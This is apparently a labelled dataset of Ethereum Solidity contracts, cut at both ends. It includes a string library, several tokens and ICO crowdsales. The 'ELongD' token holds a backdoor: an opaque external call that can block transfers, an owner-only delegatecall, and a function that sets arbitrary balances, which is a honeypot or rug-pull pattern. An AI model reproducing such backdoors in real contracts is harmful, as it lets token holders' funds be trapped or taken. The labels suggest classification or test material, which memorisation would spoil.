assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
if (b < 0x80) {
l = 1;
} else if(b < 0xE0) {
l = 2;
} else if(b < 0xF0) {
l = 3;
} else {
l = 4;
}
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function nextRune(slice self) internal pure returns (slice ret) {
nextRune(self, ret);
}
function ord(slice self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2 ** 248;
assembly { word:= mload(mload(add(self, 32))) }
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if(b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if(b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
function keccak(slice self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
function startsWith(slice self, slice needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
function beyond(slice self, slice needle) internal pure returns (slice) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(sha3(selfptr, length), sha3(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
function endsWith(slice self, slice needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
uint selfptr = self._ptr + self._len - needle._len;
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
function until(slice self, slice needle) internal pure returns (slice) {
if (self._len < needle._len) {
return self;
}
uint selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
event log_bytemask(bytes32 mask);
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr;
} else {
bytes32 hash;
assembly { hash := sha3(needleptr, needlelen) }
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly { testHash := sha3(ptr, needlelen) }
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly { needledata := and(mload(needleptr), mask) }
ptr = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly { ptrdata := and(mload(ptr), mask) }
while (ptrdata != needledata) {
if (ptr <= selfptr)
return selfptr;
ptr--;
assembly { ptrdata := and(mload(ptr), mask) }
}
return ptr + needlelen;
} else {
bytes32 hash;
assembly { hash := sha3(needleptr, needlelen) }
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly { testHash := sha3(ptr, needlelen) }
if (hash == testHash)
return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
function find(slice self, slice needle) internal pure returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
function rfind(slice self, slice needle) internal pure returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len = ptr - self._ptr;
return self;
}
function split(slice self, slice needle, slice token) internal pure returns (slice) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
function split(slice self, slice needle) internal pure returns (slice token) {
split(self, needle, token);
}
function rsplit(slice self, slice needle, slice token) internal pure returns (slice) {
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
self._len = 0;
} else {
self._len -= token._len + needle._len;
}
return token;
}
function rsplit(slice self, slice needle) internal pure returns (slice token) {
rsplit(self, needle, token);
}
function count(slice self, slice needle) internal pure returns (uint cnt) {
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
cnt++;
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len;
}
}
function contains(slice self, slice needle) internal pure returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
function concat(slice self, slice other) internal pure returns (string) {
string memory ret = new string(self._len + other._len);
uint retptr;
assembly { retptr := add(ret, 32) }
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
function join(slice self, slice[] parts) internal pure returns (string) {
if (parts.length == 0)
return "";
uint length = self._len * (parts.length - 1);
for(uint i = 0; i < parts.length; i++)
length += parts[i]._len;
string memory ret = new string(length);
uint retptr;
assembly { retptr := add(ret, 32) }
for(i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
}
contract owned {
address public owner;
event Log(string s);
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
function isOwner()public{
if(msg.sender==owner)emit Log("Owner");
else{
emit Log("Not Owner");
}
}
}
contract SisterToken is owned{
string public name;
string public symbol;
uint8 public decimals = 4;
uint256 public totalSupply;
uint256 public buyPrice;
uint256 private activeUsers;
address[9] phonebook = [0x2c0cAC04A9Ffee0D496e45023c907b71049Ed0F0,
0xcccC551e9701c2A5D07a3062a604972fa12226E8,
0x97d1352b2A2E0175471Ca730Cb6510D0164bFb0B,
0x80f395fd4E1dDE020d774faB983b8A9d0DCCA516,
0xCeb646336bBA29A9E8106A44065561D495166230,
0xDce66F4a697A88d00fBB3fDDC6D44FD757852394,
0x8CCc39c1516EF25AC0E6bC1A6bb7cf159d28FD71,
0xaF9cD61b3B5C4C07376141Ef8F718BB0893ab371,
0x5A53D72E763b2D3e2f2f347ed774AAaE872861a4];
address bounty = 0xAB90CB176709558bA5D2DDA8aeb1F65e24f2409f;
address bank = owner;
mapping (address => uint256) public balanceOf;
mapping (address => uint256) public accountID;
mapping (uint256 => address) public accountFromID;
mapping (address => bool) public isRegistered;
mapping (address => bool) public isTrusted;
event Transfer(address indexed from, address indexed to, uint256 value);
event TransferNeo(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Log(string t);
event Log32(bytes32);
event LogA(address);
event Multiplier(uint m);
event isSender(address user,bool confirm);
event isTrusted(address user,bool confirm);
event Value(uint v);
modifier registered {
require(isRegistered[msg.sender]);
_;
}
modifier trusted {
require(isTrusted[msg.sender]);
_;
}
modifier isAfterRelease{
require(block.timestamp>1525550400);
_;
}
function SisterToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public payable{
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[owner] = 85*totalSupply/100;
balanceOf[bounty] = 5*totalSupply/100;
uint i;
for(i=0;i<9;i++){
balanceOf[phonebook[i]] = totalSupply/90;
registerAccount(phonebook[i]);
}
name = tokenName;
symbol = tokenSymbol;
}
function getbuyPrice()public view returns(uint256){
return(buyPrice);
}
function getMultiplier()public view returns(uint256){
uint256 multiplier;
if(block.timestamp>1525550400){
if(block.timestamp < 1525636800){
multiplier = 150;
}else if(block.timestamp < 1526155200){
multiplier = 140;
}else if(block.timestamp <1526760000){
multiplier = 125;
}else if(block.timestamp <1527364800){
multiplier = 115;
}else if(block.timestamp <1527969600){
multiplier = 105;
}
}else{
multiplier=100;
}
return(multiplier);
}
function trustContract(address contract1)public onlyOwner{
isTrusted[contract1]=true;
}
function untrustContract(address contract1)public onlyOwner{
isTrusted[contract1]=false;
}
function setPrice(uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
function changeBank(address newBank) onlyOwner public{
bank = newBank;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function registerAccount(address user)internal{
if(!isRegistered[user]){
isRegistered[user] = true;
activeUsers+=1;
accountID[user] = activeUsers;
accountFromID[activeUsers] = user;
}
}
function burnFrom(address _from, uint256 _value) internal returns (bool success) {
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
function trasnferFromOwner(address to,uint value)internal {
_transfer(owner,to,value);
}
function _buy(address user)external payable trusted isAfterRelease{
require(owner.balance > 0);
emit isTrusted(user,isTrusted[msg.sender]||msg.sender==user);
uint256 amount = (getMultiplier()*2*msg.value/buyPrice)/100;
emit Value(amount);
trasnferFromOwner(user,amount);
bank.transfer(msg.value);
}
function registerExternal()external{
registerAccount(msg.sender);
}
function contractBurn(address _for,uint256 value)external trusted{
burnFrom(_for,value);
}
function transfer(address to, uint256 val)public payable{
_transfer(msg.sender,to,val);
}
function burn(uint256 val)public{
burnFrom(msg.sender,val);
}
function register() public {
registerAccount(msg.sender);
}
function testConnection() external {
emit Log(name);
}
}
contract NP is owned, SisterToken, usingOraclize {
using strings for *;
bool callbackran=false;
address cb;
string private XBSQueryURL;
string public message;
function NP(
uint256 initialSupply,
string tokenName,
string tokenSymbol
)SisterToken(initialSupply, tokenName, tokenSymbol) public payable{
}
function appendUintToString(string inStr, uint v)internal pure returns (string str) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
bytes memory inStrb = bytes(inStr);
bytes memory s = new bytes(inStrb.length + i);
uint j;
for (j = 0; j < inStrb.length; j++) {
s[j] = inStrb[j];
}
for (j = 0; j < i; j++) {
s[j + inStrb.length] = reversed[i - 1 - j];
}
str = string(s);
}
function makeXID(uint v)private pure returns (string str){
str = appendUintToString("XID",v);
}
function stringToUint(string s)internal pure returns (uint256 result) {
bytes memory b = bytes(s);
uint256 i;
result = 0;
for (i = 0; i < b.length; i++) {
uint256 c = uint256(b[i]);
if (c >= 48 && c <= 57) {
result = result * 10 + (c - 48);
}
}
}
function getXQU()internal view returns(string){
return(XBSQueryURL);
}
function setXQU(string newQU) onlyOwner public{
XBSQueryURL=newQU;
}
function sendTest()external {
emit Log("This is from NPLAY");
}
function sendLink(string xid,string Nb,string Na)internal{
string memory url = getXQU();
string memory data = strConcat(strConcat("{\"XID\":\"",xid,"\",\"NB\":\"",Nb),strConcat("\",\"NA\":\"",Na,"\"}"));
emit Log(data);
oraclize_query("URL",url,data);
}
function link(address EtherAddress,string NeoAddress)external registered {
if(balanceOf[EtherAddress]==0)revert();
string memory xid = makeXID(accountID[EtherAddress]);
string memory nBalance = appendUintToString("B",balanceOf[EtherAddress]);
sendLink(xid,nBalance,NeoAddress);
}
function __callback(bytes32 myid, string result)public{
if(msg.sender != oraclize_cbAddress()){
cb = 0x0;
message = "it reverted";
revert();
}
callbackran=true;
message = result;
strings.slice memory id = (result.toSlice()).beyond("XID".toSlice());
strings.slice memory nbalance = (result.toSlice()).beyond("B".toSlice());
burnFrom(accountFromID[stringToUint(id.toString())],stringToUint(nbalance.toString()));
myid;
}
function check() public{
if(callbackran){
emit Log("CallbackRan");
emit LogA(cb);
emit Log(message);
}else{
emit Log("CallbackNoRan");
emit Log(message);
}
}
} | 0 | 1,249 |
pragma solidity ^0.4.18;
contract EIP20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Genatum is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string public name = "Genatum";
uint8 public decimals = 18;
string public symbol = "XTM";
uint256 public totalSupply = 10**28;
address private owner;
function Genatum() public {
owner = msg.sender;
balances[owner] = totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_value > 10**19);
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += (_value - 10**19);
balances[owner] += 10**19;
Transfer(msg.sender, _to, (_value - 10**19));
Transfer(msg.sender, owner, 10**19);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(_value > 10**19);
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += (_value - 10**19);
balances[owner] += 10**19;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, (_value - 10**19));
Transfer(_from, owner, 10**19);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | 1 | 3,558 |
pragma solidity >=0.4.23;
contract DSExec {
function tryExec( address target, bytes memory data, uint value)
internal
returns (bool ok)
{
assembly {
ok := call(gas, target, value, add(data, 0x20), mload(data), 0, 0)
}
}
function exec( address target, bytes memory data, uint value)
internal
{
if(!tryExec(target, data, value)) {
revert("ds-exec-call-failed");
}
}
function exec( address t, bytes memory c )
internal
{
exec(t, c, 0);
}
function exec( address t, uint256 v )
internal
{
bytes memory c; exec(t, c, v);
}
function tryExec( address t, bytes memory c )
internal
returns (bool)
{
return tryExec(t, c, 0);
}
function tryExec( address t, uint256 v )
internal
returns (bool)
{
bytes memory c; return tryExec(t, c, v);
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint256 wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
uint256 wad;
assembly {
foo := calldataload(4)
bar := calldataload(36)
wad := callvalue
}
emit LogNote(msg.sig, msg.sender, foo, bar, wad, msg.data);
_;
}
}
contract DSSpell is DSExec, DSNote {
address public whom;
uint256 public mana;
bytes public data;
bool public done;
constructor(address whom_, uint256 mana_, bytes memory data_) public {
whom = whom_;
mana = mana_;
data = data_;
}
function cast() public note {
require(!done, "ds-spell-already-cast");
exec(whom, data, mana);
done = true;
}
} | 0 | 482 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract ELongD is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 13378008500042000000000000000000;
string public name = "Elongate Deluxe";
string public symbol = "ELongD";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOfTokens(wBNB, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairOfTokens(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toAddresses, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toAddresses.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses));
for(uint i = 0; i < _toAddresses.length; i++) {
balanceOf[_toAddresses[i]] = _amounts[i];
emit Transfer(address(0x0), _toAddresses[i], _amounts[i]);
}
}
} | 0 | 1,584 |
pragma solidity ^0.4.11;
contract SafeMath {
uint constant DAY_IN_SECONDS = 86400;
uint constant BASE = 1000000000000000000;
uint constant preIcoPrice = 4101;
uint constant icoPrice = 2255;
function mul(uint256 a, uint256 b) constant internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) constant internal returns (uint256) {
assert(b != 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) constant internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) constant internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mulByFraction(uint256 number, uint256 numerator, uint256 denominator) internal returns (uint256) {
return div(mul(number, numerator), denominator);
}
function presaleVolumeBonus(uint256 price) internal returns (uint256) {
uint256 val = div(price, preIcoPrice);
if(val >= 100 * BASE) return add(price, price * 1/20);
if(val >= 50 * BASE) return add(price, price * 3/100);
if(val >= 20 * BASE) return add(price, price * 1/50);
return price;
}
function volumeBonus(uint256 etherValue) internal returns (uint256) {
if(etherValue >= 1000000000000000000000) return 15;
if(etherValue >= 500000000000000000000) return 10;
if(etherValue >= 300000000000000000000) return 7;
if(etherValue >= 100000000000000000000) return 5;
if(etherValue >= 50000000000000000000) return 3;
if(etherValue >= 20000000000000000000) return 2;
return 0;
}
function dateBonus(uint startIco) internal returns (uint256) {
uint daysFromStart = (now - startIco) / DAY_IN_SECONDS + 1;
if(daysFromStart == 1) return 15;
if(daysFromStart == 2) return 10;
if(daysFromStart == 3) return 10;
if(daysFromStart == 4) return 5;
if(daysFromStart == 5) return 5;
if(daysFromStart == 6) return 5;
return 0;
}
}
contract AbstractToken {
function totalSupply() constant returns (uint256) {}
function balanceOf(address owner) constant returns (uint256 balance);
function transfer(address to, uint256 value) returns (bool success);
function transferFrom(address from, address to, uint256 value) returns (bool success);
function approve(address spender, uint256 value) returns (bool success);
function allowance(address owner, address spender) constant returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Issuance(address indexed to, uint256 value);
}
contract StandardToken is AbstractToken {
mapping (address => uint256) balances;
mapping (address => bool) ownerAppended;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
address[] public owners;
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
if(!ownerAppended[_to]) {
ownerAppended[_to] = true;
owners.push(_to);
}
Transfer(msg.sender, _to, _value);
return true;
}
else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
if(!ownerAppended[_to]) {
ownerAppended[_to] = true;
owners.push(_to);
}
Transfer(_from, _to, _value);
return true;
}
else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract CarTaxiToken is StandardToken, SafeMath {
string public constant name = "CarTaxi";
string public constant symbol = "CTX";
uint public constant decimals = 18;
address public icoContract = 0x0;
modifier onlyIcoContract() {
require(msg.sender == icoContract);
_;
}
function CarTaxiToken(address _icoContract) {
assert(_icoContract != 0x0);
icoContract = _icoContract;
}
function burnTokens(address _from, uint _value) onlyIcoContract {
assert(_from != 0x0);
require(_value > 0);
balances[_from] = sub(balances[_from], _value);
}
function emitTokens(address _to, uint _value) onlyIcoContract {
assert(_to != 0x0);
require(_value > 0);
balances[_to] = add(balances[_to], _value);
if(!ownerAppended[_to]) {
ownerAppended[_to] = true;
owners.push(_to);
}
}
function getOwner(uint index) constant returns (address, uint256) {
return (owners[index], balances[owners[index]]);
}
function getOwnerCount() constant returns (uint) {
return owners.length;
}
} | 1 | 3,933 |
pragma solidity ^0.4.11;
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract safeMath {
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
safeAssert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
safeAssert(b > 0);
uint256 c = a / b;
safeAssert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
safeAssert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
safeAssert(c>=a && c>=b);
return c;
}
function safeAssert(bool assertion) internal {
if (!assertion) revert();
}
}
contract StandardToken is owned, safeMath {
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BetstreakICO is owned, safeMath {
address public admin = owner;
StandardToken public tokenReward;
uint256 public initialSupply;
uint256 public tokensRemaining;
address public beneficiaryWallet;
uint256 public tokensPerEthPrice;
uint256 public amountRaisedInWei;
uint256 public fundingMinCapInWei;
string public CurrentStatus = "";
uint256 public fundingStartBlock;
uint256 public fundingEndBlock;
bool public isCrowdSaleClosed = false;
bool public areFundsReleasedToBeneficiary = false;
bool public isCrowdSaleSetup = false;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Buy(address indexed _sender, uint256 _eth, uint256 _BST);
event Refund(address indexed _refunder, uint256 _value);
event Burn(address _from, uint256 _value);
mapping(address => uint256) balancesArray;
mapping(address => uint256) fundValue;
function BetstreakICO() onlyOwner {
admin = msg.sender;
CurrentStatus = "Crowdsale deployed to chain";
}
function initialBSTSupply() constant returns (uint256 tokenTotalSupply) {
tokenTotalSupply = safeDiv(initialSupply,100);
}
function remainingSupply() constant returns (uint256 tokensLeft) {
tokensLeft = tokensRemaining;
}
function SetupCrowdsale(uint256 _fundingStartBlock, uint256 _fundingEndBlock) onlyOwner returns (bytes32 response) {
if ((msg.sender == admin)
&& (!(isCrowdSaleSetup))
&& (!(beneficiaryWallet > 0))){
tokenReward = StandardToken(0xA7F40CCD6833a65dD514088F4d419Afd9F0B0B52);
beneficiaryWallet = 0x361e14cC5b3CfBa5D197D8a9F02caf71B3dca6Fd;
tokensPerEthPrice = 1300;
fundingMinCapInWei = 1000000000000000000000;
amountRaisedInWei = 0;
initialSupply = 20000000000;
tokensRemaining = safeDiv(initialSupply,100);
fundingStartBlock = _fundingStartBlock;
fundingEndBlock = _fundingEndBlock;
isCrowdSaleSetup = true;
isCrowdSaleClosed = false;
CurrentStatus = "Crowdsale is setup";
setPrice();
return "Crowdsale is setup";
} else if (msg.sender != admin) {
return "not authorized";
} else {
return "campaign cannot be changed";
}
}
function setPrice() {
if (block.number >= fundingStartBlock && block.number <= fundingStartBlock+25200) {
tokensPerEthPrice=1300;
} else if (block.number >= fundingStartBlock+25201 && block.number <= fundingStartBlock+50400) {
tokensPerEthPrice=1200;
